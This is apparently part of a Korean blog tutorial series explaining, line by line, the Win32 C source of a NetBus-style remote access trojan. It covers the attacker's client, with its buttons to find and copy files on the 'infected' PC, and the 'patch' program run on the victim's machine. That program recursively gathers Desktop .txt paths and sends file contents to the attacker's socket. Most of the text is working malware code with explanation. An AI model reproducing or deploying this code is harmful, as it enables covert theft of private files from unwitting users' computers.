이번엔 WSAGETSELECTERROR함수를 사용하여 lParam에서 에러를 추출합니다. 만약 아무런 에러가 발생하지 않았다면 해당 소켓이 성공적으로 서버에 연결된 것을 의미하며 아래의 코드를 수행합니다. 

- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);

G_combobox컨트롤에서 사용자가 입력한 IP주소 값을 읽어와 Wide_address에 저장시킵니다.

- wsprintf(CResultStr,L"Connected to %s",Wide_address);

Wide_address값을 이용하여 CResultStr배열에 Connected to %s 형식으로 저장시킵니다.

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);

G_CResult 컨트롤에 문자열을 새로 출력함으로써 연결이 성공적으로 되었다는 것을 사용자에게 알립니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Cancel");

  EnableWindow(G_connectB,TRUE);

연결이 성공적으로 완료되었으므로 G_connectB의 버튼의 텍스트를 Connecting에서 Cancel로 바꾼 후 버튼을 활성화 시킵니다.

- EnableWindow(G_findfile,TRUE);

  EnableWindow(G_Capture,TRUE);

  EnableWindow(G_fileCopy,TRUE);

감염자와의 연결이 성공적으로 되었으므로 명령을 내릴 수 있도록 버튼들을 활성화시킵니다.

- else

WSAGETSELECTERROR함수를 사용해 추출한 에러값이 0이 아닐 경우에는 소켓 연결이 실패했다는 것을 의미합니다. 이 때에는 아래의 코드를 수행합니다.

- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);

  wsprintf(CResultStr,L"Couldn't connect to %s",Wide_address);

IP주소를 가져와 CResultStr에 Couldn't connect to %s 형식으로 문자열을 넣습니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");

  EnableWindow(G_connectB,TRUE);

연결이 실패했으므로 Connecting텍스트가 적힌 버튼을 초기값인 Connect로 수정하고 활성화시킵니다.

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);

  closesocket(G_Socket);

  WSACleanup();

사용자에게 연결이 실패했다는 것을 알리고 소켓 사용을 종료합니다.

- case FD_READ:

이번엔 FD_READ 이벤트를 받았을 때의 처리입니다. FD_READ는 상대방의 소켓으로부터 데이터를 받았을 때 발생하는 메세지입니다. 이 때에는 아래의 코드를 수행합니다.

- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,0);

WSAAsyncSelect함수를 다시 호출합니다. 이 때 마지막 인자의 값을 0으로 주어 앞에서 호출한 WSAAsyncSelect함수를 중지시킵니다. 이러한 작업을 해주는 이유는 바로 다음코드에 ioctlsocket함수를 호출하기 위해서입니다.

- ioctlsocket(G_Socket,FIONBIO,&Mode);

ioctlsocket함수를 호출합니다. ioctlsocket함수를 살펴봅시다.

해당 소켓의 입출력모드를 제어하는 함수라고 되어있습니다. 쉽게 얘기하면 소켓의 동작 방식을 지정해주는 함수라고 보시면 됩니다.

기본적으로 소켓은 블로킹 방식 혹은 비블로킹 방식으로 작동합니다. 간단하게 두 방식의 특징을 살펴봅시다.

먼저 블로킹 방식이란 소켓으로 통신을 시도할 때 다른 작업을 할 수 없도록 하는 방식입니다. 예를 들면 소켓이 통신을 시도하고 있는 중이라면 메인 윈도우의 닫기 작업을 수행할 수 없다는 것이지요. 즉 스레드가 대기상태가 되버립니다.

반대로 비블로킹 방식은 소켓이 통신을 시도할 때 다른 작업을 할 수 있도록 하는 방식입니다. 그리고 이 방식은 WSAAsyncSelect함수를 호출할 때 자동으로 소켓에 지정되는 방식입니다.

자 그렇다면 ioctlsocket함수는 무엇일까요? 이 함수는 소켓을 블로킹모드 혹은 비블로킹모드로 설정해주는 함수라고 보시면 됩니다. 두 번째 인자에서 FIONBIO값을 주면 해당 소켓의 동작 방식을 바꿀수가 있으며 세번째 인자의 값이 0이면 블로킹모드, 0이 아니면 비블로킹모드로 바꿔집니다. 다만 세번째 인자는 포인터값을 받으므로 0값이 저장된 변수를 선언하여 그 변수의 포인터값을 인자로 주었습니다. 

그리고 이 함수는 좀 특별한 특징을 가지고 있는데 그 특징은 다음과 같습니다.

1. WSAAsyncSelect함수나 WSAEventSelect함수가 호출 된 후 시도하는 모든     ioctlsocket함수는 실패합니다.

2. 1번의 문제를 해결할려면 WSAAsyncSelect함수의 네번째 인자를 0으로 준 뒤 한 번 더 호출한 후 ioctlsocket함수를 호출하여야합니다.

얘기가 조금 길어졌습니다만 최종적으로 정리하면 이 코드는 해당 소켓을 블로킹모드로 바꾸어주는 역할을 합니다. 왜 소켓을 블로킹 모드로 바꾸는지는 recv함수에서 설명드리겠습니다.

- memset(&G_String,0,sizeof(G_String));

앞에서 선언한 구조체를 초기화시킵니다.

- Recvstr = recv(G_Socket,(char *)&G_String,sizeof(G_String),MSG_WAITALL);

recv함수를 사용하여 해당 소켓이 받은 데이터를 읽습니다. 이 recv함수를 살펴봅시다.

말그대로 소켓에 들어온 데이터를 받는 함수입니다. 즉 상대방 측에서 send함수를 사용하여 소켓에 데이터를 보내면 받는 쪽에서는 recv함수를 사용하여 데이터를 받는 것입니다. 이 때 받은 데이터를 저장하는 변수는 2번째 인자이며 char형으로 받습니다. 세번째 인자는 2번째 인자의 크기이며 네번째 인자는 관련된 옵션을 지정해 줄 수가 있습니다.

여기서 중요한 것은 2번째 인자가 char형이라서 char형 변수만 인자로 쓸수 있는 것은 아니라 구조체 같은 변수도 강제형변환을 해서 받을 수가 있습니다. 다만 이 경우에는 보내는 쪽에서도 같은 구조체 형식으로 데이터를 보내야 합니다. 우리는 이 방식을 이용해 통신을 할 것입니다.

또 하나를 더 살펴봐야 할 부분이 있는데 그것은 네번째 인자의 MSG_WAITALL값입니다. 이 값을 설명하기 전에 TCP 통신의 특징을 한 번 살펴봅시다.

보통 TCP 소켓 통신은 스트림으로 이루어집니다. 이 때 스트림의 특징은 경계가 없다는 것인데 이게 문제가 되는 것이 뭐냐면 송신자 측에서 수신자 측으로 10바이트의 데이터를 보낸다면 수신자측에서는 10바이트 데이터를 한번에 받을 수도 있고 못받을 수도 있다는 것이지요.

10 바이트 전송 -> 10 바이트 받음

10 바이트 전송 -> 5 바이트 받음 -> 5바이트 받음

10 바이트 전송 -> 1 바이트 받음 -> 9바이트 받음

이런 식이 된다는 뜻입니다. 경계가 없기 때문에 데이터를 얼만큼 받아야 하는지 모르는 것이지요.  이를 프로그래밍으로 다시 한번 살펴본다면

send(10바이트) -> recv(10바이트)

send(10바이트) -> recv(5바이트) -> recv(5바이트)

send(10바이트) -> recv(1바이트) -> recv(9바이트) 

가 되겠군요. 그래서 보통은 반복문을 사용하여 데이터를 다 받을 때까지 recv를 호출할 수 있도록 프로그래밍을 하지만 우리는 구조체를 이용해 통신을 하기 때문에 이런 방법도 통하지 않습니다. 이 때 필요한 것이 바로 recv 네번째 인자의 옵션인 MSG_WAITALL입니다.

이 MSG_WAITALL 옵션은 데이터를 MSDN에도 설명이 나와있습니다만 간단히 설명드리자면 recv함수를 호출할 때 제공한 버퍼의 데이터가 꽉 찼을 경우에만 recv 함수가 완료되도록 하는 기능입니다. 지금의 우리에게 필요한 기능이지요. 다만 이 옵션을 사용할려면 해당 소켓의 모드가 블로킹방식이어야 합니다. 그래서 우리는 이 옵션을 사용하기 위해 앞의 ioctlsocket함수를 호출하여 소켓을 블로킹모드로 지정한 것입니다.

설명이 길어졌군요. 다음 코드를 살펴봅시다.

- if(Recvstr < 0)

break;

recv함수로 받은 데이터의 크기값이 0보다 작을 경우 에러가 발생한 것이므로 switch문을 탈출합니다.

- switch(_strcmp(G_String.str))

데이터를 받았으므로 그 데이터에 따라 처리를 다르게 해주기 위해 switch문을 사용하였습니다. 이 때 구분하는 값은 G_String의 str멤버변수를 인자로 받는 _strcmp함수의 반환값입니다.

- case 0:

createTXT(G_String.txtStrings);

G_String.str의 문자열이 "filefind - txt" 인 경우 createTXT함수를 호출합니다. 이 때 인자는 감염자의 PC로부터 가져온 텍스트 파일들의 경로입니다.

- case 1:

G_String.str의 문자열이 "filecopy - getTXTsize" 인 경우의 처리부문이지만 아직 구현하진 않았습니다. 

- case 2:

copyTXT();

G_String.str의 문자열이 "filecopy - txtcopycomplete" 인 경우 copyTXT함수를 호출합니다.

- case 3:

      MessageBox(G_fileCopyDlg,L"파일의 크기가 0 혹은 너무 커 복사가 불가능합니다.",L"파일 복사 실패",MB_OK);

EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

G_String.str의 문자열이 "filecopy - sizeError" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.

- case 4:

MessageBox(G_fileCopyDlg,L"해당 파일이 삭제되었거나 파일경로가 잘못되었습니다.",L"파일 복사 실패",MB_OK);

EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

G_String.str의 문자열이 "filecopy - txtnotfound" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.

- case 5:

MessageBox(G_fileCopyDlg,L"해당 파일의 접근이 거부되었습니다.",L"파일 복사 실패",MB_OK);

EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

G_String.str의 문자열이 "filecopy - ACCESS_DENIED" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.

- case 999:

그 외의 메세지인 경우 아무런 처리를 하지 않습니다.

- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);

받은 메세지를 다 처리한 경우 다시 이벤트를 받기 위해 WSAAsyncSelect함수를 호출합니다. 이 때 소켓은 다시 비블로킹 동작으로 지정됩니다.

- case FD_CLOSE:

FD_CLOSE 이벤트를 받았을 경우 아래의 코드를 수행합니다. FD_CLOSE 이벤트는 서버와의 연결이 끊겼을 때 발생하는 이벤트입니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");

  SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)L"NO connection");

G_connectB버튼과 결과창의 텍스트를 초기화시킵니다.

- closesocket(G_Socket);

  WSACleanup();

  EnableWindow(G_findfile,FALSE);

  EnableWindow(G_Capture,FALSE);

  EnableWindow(G_fileCopy,FALSE);

소켓의 사용을 종료하고 명령을 내리는 버튼들을 비활성화시킵니다.

- EndDialog(G_filefindDlg,NULL);

  EndDialog(G_fileCopyDlg,NULL);

만약 열려진 대화상자가 있으면 종료시킵니다.

- case WM_PAINT:

hdc = BeginPaint(hWnd,&ps);

TextOut(hdc,363,12,L"포트:",lstrlen(L"포트:"));

EndPaint(hWnd,&ps);

WM_PAINT메세지에선 포트 라는 글자를 출력합니다.

- BOOL WINAPI FilefindDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam)

이번에는 파일 찾기 버튼을 눌렀을 때 호출되는 대화상자의 프로시저를 살펴봅시다.

- switch(Message)

case WM_INITDIALOG:

G_filefindDlg = hWnd;

생성될 때 대화상자의 핸들을 전역변수에 저장시킵니다.

- case WM_COMMAND:

switch(wParam)

case txt:

EnableWindow(GetDlgItem(hWnd,txt),FALSE);

memset(&G_String,0,sizeof(G_String));

strcpy(G_String.str,"filefind - txt");

send(G_Socket,(char *)&G_String,sizeof(G_String),NULL);

대화상자의 txt버튼을 눌렀을 경우 먼저 해당 버튼을 비활성화 시킨후 구조체를 초기화합니다. 그리고 str멤버변수에 filefind - txt문자열을 넣고 send함수를 이용하여 감염자 소켓으로 데이터를 전송합니다. send함수 또한 recv랑 비슷한 인자입니다.

- case WM_CLOSE:

EndDialog(hWnd,NULL);

닫기버튼을 누르면 대화상자를 종료합니다.

- BOOL WINAPI FilecopyDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam)

이번엔 파일 복사 버튼을 눌렀을 때 호출되는 대화상자의 프로시저를 살펴봅시다.

- TCHAR str3[256] = L"";

  int str_len;

사용자로부터 입력 받은 경로를 저장할 변수 str3과 그 문자열을 멀티바이트로 변환시킬 때 필요한 변수 str_len을 선언합니다.

- case WM_COMMAND:

switch(wParam)

case copy:

EnableWindow(GetDlgItem(hWnd,copy),FALSE);

memset(&G_String,0,sizeof(G_String));

SendDlgItemMessage(hWnd,copypath,WM_GETTEXT,255,(LPARAM)str3);

str_len = WideCharToMultiByte(949,NULL,str3,lstrlen(str3),NULL,NULL,NULL,NULL);

WideCharToMultiByte(949,NULL,str3,lstrlen(str3),G_String.str2,str_len,NULL,NULL);

대화상자의 copy버튼을 눌렀을 경우 먼저 해당 버튼을 비활성화 시킨후 구조체를 초기화합니다. 그리고 copypath로부터 경로 문자열을 가져와 str3에 저장시킨 후 멀티바이트로 변환시켜 str2멤버변수에 저장시킵니다.

- strcpy(G_String.str,"filecopy - txt");

str멤버변수에 filecopy - txt를 넣습니다.

- send(G_Socket,(char *)&G_String,sizeof(G_String),NULL);

해당 구조체를 감염자 소켓으로 전송합니다.

네 여기까지가 넷버스 코드의 마지막 부분이었습니다. 다음 포스팅에서는 감염자의 PC에서 실행되는 패치의 코드를 살펴봅시다.


Posted by englishmath

안녕하십니까 이번 포스팅에서는 감염자의 PC에서 실행되는 patch프로그램에 쓰인 함수들을 한 번 살펴보겠습니다.

- int _strcmp(char *str1);

공격자(클라이언트)로부터 메세지를 받았을 때 메세지에 따라 처리를 다르게 해주기 위해 만든 함수입니다.

- void txtfileSend(void);

자신의 바탕화면과 바탕화면의 하위폴더에 있는 txt파일들을 전부 찾아 그 경로들을 저장시키는 함수입니다.

- void txtfileCopy(void);

공격자로부터 받은 파일경로를 토대로 해당하는 파일을 찾아 데이터를 복사해주는 함수입니다.

- int _strcmp(char *str1)

공격자의 소켓으로부터 데이터를 받았을 때 메세지에 따라 처리를 다르게 해주는 함수입니다. 원리는 넷버스(공격자)의 _strcmp함수와 동일합니다.

- void txtfileSend(void)

이 프로그램이 실행되고 있는 PC 즉 감염자의 PC에서 txt파일을 찾아 그 경로를 저장시켜주는 함수입니다. 대상 txt파일은 바탕화면과 바탕화면의 하위폴더에 들어있는 txt파일 입니다.

- TCHAR PATH[500] = L"",temp[256] = L"";

FindFirstFile함수의 사용과 파일의 확장자를 저장하기 위해 TCHAR형 배열을 선언합니다.

- WIN32_FIND_DATA WFD = {0};

FindFirstFile함수 사용을 위해 WIN32_FIND_DATA 구조체 변수를 선언합니다. 이 구조체는 앞 포스팅 중 메모장 부분에 자세히 나와 있습니다.

- HANDLE file;

찾은 파일의 핸들을 저장하기 위해 HANDLE형 변수를 선언합니다.

- int i,j,str_len,Error;

for문에 사용할 i,j와 WideCharToMultiByte함수에 사용할 str_len, 그리고 에러코드를 저장할 변수 Error를 선언합니다.

- wsprintf(PATH,L"%s*.*",G_PATH);

G_PATH에 저장된 문자열을 %s*.*형식으로 바꾸어 PATH에 저장시킵니다. G_PATH는 현재 사용자의 데스크탑의 경로를 저장하고 있는 전역변수이며 기본적으로 

"C:\\Users\\사용자명\\Desktop\\" 값이 들어가 있습니다. 이 상태로 이 코드를 수행하게 되면 PATH에는 C:\\Users\\사용자명\\Desktop\\*.*가 저장되어집니다.

- file = FindFirstFile(PATH,&WFD);

위에 저장된 PATH를 바탕으로 FindFirstFile함수를 호출합니다. 이 함수는 앞 포스팅의 메모장 부분에서도 쓰였던 함수이며 PATH에 해당하는 파일을 찾아 그 파일의 핸들을 반환합니다. 이 때 그 파일의 속성이 WFD 구조체의 각 멤버변수에 저장됩니다.

추가로 파일명이 아닌 확장자가 경로명에 들어있으면 해당하는 확장자의 파일을 찾게 됩니다.

ex) C:\\Users\\사용자명\\Desktop\\*.txt -> 바탕화면에 있는 txt파일

     C:\\Users\\사용자명\\Desktop\\*.* -> 바탕화면에 있는 모든 파일

- while(file != INVALID_HANDLE_VALUE)

FindFirstFile의 결과가 INVALID_HANDLE_VALUE가 아니면 아래의 코드를 반복합니다.

INVALID_HANDLE_VALUE는 파일을 찾지 못했을 때 FindFirstFile이 반환하는 값입니다.

- if(lstrlen(WFD.cFileName) > 4)

j=4;

for(i=0;i<4;i++)

temp[i] = WFD.cFileName[lstrlen(WFD.cFileName)-j];

j--;

파일을 정상적으로 찾았다면 if문을 이용하여 WFD구조체의 cFileName멤버의 길이를 검사합니다. cFileName멤버는 파일의 이름이 저장되어있는 멤버입니다.

lstrlen함수를 사용하여 찾은 파일의 이름이 5자 이상일 경우(확장자 포함) 확장자를 추출하기 위해 다음 코드를 수행합니다.

확장자는 보통 4개의 글자로 이루어져 있으므로 (.txt,.exe) j값에 4를 대입한 후 for문을 이용하여 cFileName에 들어있는 파일이름의 뒷부분 4글자를 차례대로 가져와 temp에 저장시킵니다.

예를 들어 파일명이 abc.txt가 있으면

temp[0] = WFD.cFileName[7-4] --> temp[0] = WFD.cFileName[3](.)

temp[1] = WFD.cFileName[7-3] --> temp[1] = WFD.cFileName[4](t)

temp[2] = WFD.cFileName[7-2] --> temp[2] = WFD.cFileName[5](x)

temp[3] = WFD.cFileName[7-1] --> temp[3] = WFD.cFileName[6](t)

이런식으로 작동하게 됩니다.

즉 위 코드가 정상적으로 수행이 된다면 최종적으로 temp에는 .txt가 저장되어집니다.

- if((WFD.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY && lstrcmp(WFD.cFileName,L".") != 0) && lstrcmp(WFD.cFileName,L"..") != 0)

위의 if문과는 별개로 또 다시 if문을 사용하여 이번엔 파일의 속성을 검사합니다. 위의 조건문을 풀이해보자면 다음과 같습니다.

WFD.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY  -> 해당 파일이 폴더이고

lstrcmp(WFD.cFileName,L".") != 0 -> 파일명이 .이 아니어야 하며

lstrcmp(WFD.cFileName,L"..") != 0 -> 파일명이 ..이 아닐 때

즉 이부분은 검색한 파일이 폴더냐 아니냐를 체크하는 부분입니다. 다만 폴더라 하더라도 파일명이 .이나 ..이 아니어야 합니다. 파일명이 점으로 되어있는 폴더는 리눅스를 해보신 분은 아마 감이 잡히실 건데 점 하나로 되어있는 폴더는 현재 디렉토리를 의미하며 점이 두개로 되어있는 폴더는 상위 디렉토리를 의미합니다.

이러한 폴더들은 리눅스가 아니라 윈도우에서도 존재하고 있으며 대부분 숨김폴더로 정해져있어 아마 보지 못하셨을 겁니다. 아무튼 우리는 이러한 폴더들을 사용할 필요가 없으므로 일부러 제외시켰습니다.

- wsprintf(G_PATH,L"%s%s\\",G_PATH,WFD.cFileName);

위의 if문에 해당하는 폴더일 경우 G_PATH와 폴더명을 이용하여 %s%s\\형식으로 바꾼 후 다시 G_PATH에 저장시킵니다. 

예를 들어 a라는 폴더가 있다면

G_PATH -> C:\\Users\\사용자명\\Desktop\\

WFD.cFileName -> a 일때 wsprintf함수를 수행하면 

G_PATH에는 C:\\Users\\사용자명\\Desktop\\a\\가 저장되어집니다.

- txtfileSend();

G_PATH가 다시 재정의 되었으면 자기 자신의 함수를 호출합니다. 즉 이것은 바탕화면에서 폴더를 찾았을 경우 그 폴더로 들어가 다시 파일을 찾는 것을 구현한것입니다. 추가로 함수 내에서 자기 자신의 함수를 호출하는 함수를 재귀함수라고 합니다.

예를 들어 G_PATH가 C:\\Users\\사용자명\\Desktop\\a\\일때 자기 자신의 함수를 호출하면 다음과 같이 처음부터 다시 코드를 수행하게 되는 겁니다.

wsprintf(PATH,L"%s*.*",G_PATH) 수행 -> G_PATH는 전역변수라 값이 바껴진 상태

PATH -> C:\\Users\\사용자명\\Desktop\\a\\*.*

그리고 다시 file = FindFirstFile(PATH,&WFD) 코드를 수행하게 되는 것이지요.

- for(i=lstrlen(PATH)-1;i>=0;i--)

재귀함수가 호출되서 처리를 다하고 나면 for문을 수행하여 G_PATH의 값을 재정의합니다. 왜냐하면 a라는 폴더에서 파일을 다 찾으면 다시 이전의 폴더로 돌아가야 하기 때문이지요. 이해를 쉽게 하기 위해 알고리즘을 다시 한번 살펴봅시다.

PATH -> C:\\Users\\사용자명\\Desktop\\*.* 일 때 검색한 파일이 폴더(a)라면

G_PATH를 C:\\Users\\사용자명\\Desktop\\a\\로 바꾸고 재귀함수 호출

그러면 재귀함수가 호출되면서 

PATH(두번째)가 C:\\Users\\사용자명\\Desktop\\a\\*.*로 재정의됩니다.

여기까지는 아까 설명한 부분입니다. 자 그러면 폴더 내의 파일을 다 찾은 경우에는 어떻게 될까요?

폴더내의 파일을 다 찾으면 호출한 재귀함수가 종료됩니다. 그러면 다시 원래의 재귀함수를 호출한 부분으로 되돌아 오겠지요? 그런데 여기 중요한 점은 재귀함수의 호출이 종료되면 PATH의 값이 재귀함수를 호출하기 전의 값으로 되돌아옵니다. 즉

재귀함수가 호출되었을 때 

PATH -> C:\\Users\\사용자명\\Desktop\\a\\*.* 이었다면

재귀함수가 종료되었을 때는 이전의 PATH값인

PATH -> C:\\Users\\사용자명\\Desktop\\*.*가 된다는 것이지요.

다만 PATH값이 돌아온다고 G_PATH값이 돌아오는 것은 아니기에 우리는 수동으로 G_PATH값을 원래대로 되돌릴 필요가 있습니다.

이를 위해 for문을 이용하여 PATH의 맨 뒷자리부터 검사를 시작합니다. 위의 i값을 현재 상황에 맞추어 본다면 

i = 25-1 -> 24가 대입되어 집니다. 물론 이값은 사용자명과 폴더 경로 명에 따라 달라질 수 있습니다. 이렇게 정의된 i가 -1이 될 때까지 하나씩 감소시키면서 아래의 코드를 수행합니다.

- if(PATH[i] == '\\')

현재 검사중인 i번째 자리의 PATH 문자 값이 \이면 아래의 코드를 수행합니다.

- if(i == lstrlen(PATH)-1)

break;

  else

PATH[i+1] = '\0';

break;

i값이 lstrlen(PATH)-1라면 break를 이용해 그냥 for문을 탈출합니다. 이 뜻은 PATH의 마지막 글자가 \이면 그냥 탈출한다는 뜻입니다. 

반대로 마지막 글자가 \가 아니라면 현재 \가 들어있는 인덱스의 다음 인덱스에 NULL값을 넣어 \을 PATH의 마지막 글자로 만들어줍니다.

이 코드가 수행되고 나면 PATH는 

C:\\Users\\사용자명\\Desktop\\ 이렇게 수정되어 집니다.

- lstrcpy(G_PATH,PATH);

바뀐 PATH값을 G_PATH에 넣어 재귀함수를 호출 하기 전의 G_PATH값으로 되돌립니다.

- else if(lstrcmp(temp,L".txt") == 0)

위의 큰 if문이 폴더를 찾았을 때의 처리라면 이 부분은 폴더가 아닌 파일을 찾았을 때의 처리입니다. 찾은 파일이 폴더가 아니라면 if문을 이용해 찾은 파일의 확장자를 검사합니다. 그리고 그 확장자(temp)의 값이 txt라면 아래의 코드를 수행합니다.

- wsprintf(PATH,L"%s%s",G_PATH,WFD.cFileName);

PATH의 값을 G_PATH와 WFD.cFileName값을 이용해 %s%s형식으로 수정합니다. 즉 

G_PATH -> C:\\Users\\사용자명\\Desktop\\

WFD.cFileName - > 1.txt

PATH -> C:\\Users\\사용자명\\Desktop\\1.txt

이렇게 됩니다.

- str_len = WideCharToMultiByte(CP_ACP,NULL,PATH,lstrlen(PATH),NULL,NULL,NULL,NULL);

 WideCharToMultiByte(CP_ACP,NULL,PATH,lstrlen(PATH),G_String.txtStrings[G_txtfileSend_i],str_len,NULL,NULL);

유니코드 문자열인 PATH를 멀티바이트로 변환시켜 G_String.txtStrings[G_txtfileSend_i]에 저장시킵니다. 여기서 G_String.txtStrings은 나중에 send함수로 소켓에 보낼 구조체의 멤버를 뜻하며 G_txtfileSend_i는 G_String.txtStrings의 인덱스 값인 전역변수입니다. 초기에는 0으로 선언되어 있습니다. 이러한 작업을 해주는 이유는 send함수로 데이터를 보낼때에는 멀티바이트 형으로 보내야 하기 때문입니다.

- G_txtfileSend_i++;

하나의 텍스트파일 경로를 저장하였으면 G_txtfileSend_i를 하나 증가시키고 if문 처리가 끝이 납니다.

- FindNextFile(file,&WFD);

하나의 파일에 대한 처리가 끝났다면 FindNextFile함수를 호출하여 다음 파일을 찾습니다. FindNextFile함수를 살펴봅시다.

FindFirstFile 등으로 찾은 파일의 핸들을 이용하여 다음 파일을 찾게 해주는 함수입니다. 이 때 파일을 찾는 조건(필터)는 FindFirstFile과 동일합니다. 그리고 이 함수로 찾은 파일의 정보는 두번째 인자인 WFD에 들어가게 됩니다. 

- Error = GetLastError();

위의 FindNextFile함수와 관련된 에러코드를 Error에 집어넣습니다. 에러가 발생하지 않았다면 Error에는 0이 들어가 있으며 만약 에러가 발생하였다면 0 이외의 값이 들어가게 됩니다.

- if(Error == ERROR_NO_MORE_FILES)

SetLastError(1);

FindClose(file);

break;

Error의 값이 ERROR_NO_MORE_FILES일때의 처리입니다. 이 ERROR_NO_MORE_FILES값은 더 이상 찾을 파일이 없을 경우 FindNextFile함수가 발생시키는 에러입니다. 이 에러코드가 발생하면 검사중인 폴더 내의 파일을 다 찾았다는 뜻이므로 file의 핸들을 닫고 break문을 이용하여 while문을 탈출합니다.

한가지 특이한 점이 있다면 SetLastError함수를 사용하여 ERROR_NO_MORE_FILES 에러의  코드값을 1로 지정했다는 부분입니다. 이러한 작업을 해준 이유는 어떠한 폴더 내에서 파일을 다 찾아서 재귀함수를 종료하고 상위 폴더로 돌아간 후 다시 FindNextFile함수를 호출하면 파일을 다 찾지 않았음에도 불구하고 ERROR_NO_MORE_FILES라는 에러코드가 발생하기 때문입니다. 그래서 이를 방지하기 위해 ERROR_NO_MORE_FILES 에러코드를 1로 설정하여 ERROR_NO_MORE_FILES에러가 발생하였음에도 불구하고 GetLastError에서 아까 지정한 1을 반환함으로써 위의 if문을 처리하지 않도록 해주었습니다.

물론 진짜 파일이 없어서 발생하는 ERROR_NO_MORE_FILES에러는 SetLastError의 영향을 받지 않아 if문을 처리할 수 있습니다. 아직 자세한 이유는 모르겠습니다만 일단 이렇게 코딩을 하니 동작에는 지장이 없어서 쓰고 있습니다.

자 마지막으로 남은 함수를 살펴봅시다.

- void txtfileCopy(void)

이 함수는 공격자의 소켓으로부터 파일을 복사해달라는 데이터를 받았을 때 실행하는 함수이며 파일의 경로를 받아 그 경로에 해당하는 파일을 열어 데이터를 복사시키고 그 복사된 데이터를 공격자의 소켓에 전송해주는 역할을 합니다.

- int str_len;

멀티바이트로 받은 파일의 경로를 유니코드로 변환시키기 위해 선언한 변수입니다.

- HANDLE file,file2;

CreateFile함수의 핸들과 FindFirstFile의 핸들을 받을 변수 두개를 선언합니다.

- TCHAR Wstring[256] = L"";

유니코드 문자열을 저장할 변수 Wstring을 선언과 동시에 초기화 시킵니다.

- DWORD size;

ReadFile함수에 쓰일 DWORD형 변수를 선언합니다.

- WIN32_FIND_DATA WFD = {0};

FindFirstFile함수의 인자인 WIN32_FIND_DATA형 구조체 변수를 선언합니다.

- str_len = MultiByteToWideChar(949,NULL,G_String.str2,strlen(G_String.str2),NULL,NULL);

  MultiByteToWideChar(949,NULL,G_String.str2,strlen(G_String.str2),Wstring,str_len);

공격자의 소켓으로부터 받은 파일 경로인 G_String의 멤버변수인 str2를 유니코드로 변환시켜 Wstring에 저장시킵니다.

- file = CreateFile(Wstring,GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

Wstring에 저장된 경로를 이용하여 파일을 OPEN_EXISTING 옵션으로 엽니다. 

- if(file == INVALID_HANDLE_VALUE)

CreateFile함수가 파일을 불러오지 못해 file의 결과값이 INVALID_HANDLE_VALUE인 경우 아래의 코드를 수행합니다. 일종의 에러처리입니다.

- if(GetLastError() == ERROR_ACCESS_DENIED)

strcpy(G_String.str,"filecopy - ACCESS_DENIED");

send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

GetLastError함수를 호출하여 에러코드의 값이 ERROR_ACCESS_DENIED인 경우 

G_String.str에 filecopy - ACCESS_DENIED 문자열을 넣은 후 send함수를 호출하여 해당 구조체를 공격자 소켓(G_AcceptS)에 전송합니다. 이 send함수는 나중에 자세히 설명드리겠습니다.

- else

strcpy(G_String.str,"filecopy - txtnotfound");

send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

만약 위의 에러가 아니라면 문자열을 filecopy - txtnotfound로 바꿔서 전송합니다.

- return;

에러메세지를 공격자에 보내고 나면 return을 호출하여 함수를 종료합니다.

- G_String.size = GetFileSize(file,NULL);

파일을 정상적으로 여는데 성공하였다면 GetFileSize함수를 호출하여 size를 구해 size멤버 변수에 저장시킵니다.

- if(G_String.size >= 500000 || G_String.size == 0)

strcpy(G_String.str,"filecopy - sizeError");

send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

CloseHandle(file);

return;

이 때 파일의 크기가 데이터를 담는 배열(G_String.string[500000])보다 크거나 또는 size의 크기가 0일 경우 sizeError문자열을 공격자 소켓에 전송 후 핸들을 닫고 종료시킵니다.

- memset(G_String.string,0,sizeof(G_String.string));

복사한 데이터를 담을 G_String.string배열을 초기화시킵니다.

- ReadFile(file,G_String.string,G_String.size,&size,NULL);

해당 파일의 데이터를 G_String.size만큼 읽어 G_String.string에 저장시킵니다.

- file2 = FindFirstFile(Wstring,&WFD);

FindFirstFile함수를 호출해 아까 CreateFile함수로 연 파일을 찾습니다.

- memset(G_String.str2,0,sizeof(G_String.str2));

  str_len = WideCharToMultiByte(949,NULL,WFD.cFileName,lstrlen(WFD.cFileName),NULL,NULL,NULL,NULL);

 WideCharToMultiByte(949,NULL,WFD.cFileName,lstrlen(WFD.cFileName),G_String.str2,str_len,NULL,NULL);

str2 멤버변수를 초기화시켜준 후 WFD의 멤버변수인 cFileName(파일 이름)을 멀티바이트로 변환시켜 str2 멤버변수에 저장시킵니다.

- strcpy(G_String.str,"filecopy - txtcopycomplete");

str 멤버변수에 텍스트 복사가 완료되었다는 문자열을 집어넣습니다.

- send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

해당 데이터가 들어있는 구조체를 공격자 소켓에 통째로 전송시킵니다.

- CloseHandle(file);

  FindClose(file2);

CreateFile의 핸들은 CloseHandle함수로 닫고 FindFirstFile의 핸들은 FindClose로 닫습니다.

